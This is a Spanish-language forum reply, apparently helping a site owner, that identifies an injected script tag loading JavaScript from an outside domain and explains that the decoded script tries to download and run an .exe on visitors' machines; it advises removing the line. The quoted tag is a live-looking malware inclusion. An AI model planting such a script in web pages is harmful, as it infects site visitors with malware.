Quien lo colocó ahi no te lo sabría decir. El problema es esta línea:
Código:
<script src='http://hotelzonablue.com/index.js'></script>
Si observas el JavaScript que esa línea genera verás símbolos codificados con escape; si los decodificas puedes observar que mediante tecnología asincrónica intentan descargar un .exe a C:\\ y luego ejecutarlo.
Para solucionar tu problema simplemente quita esa línea y ten precaución de no añadir scripts a tu sitio sin saber que contienen dentro.
Saludos.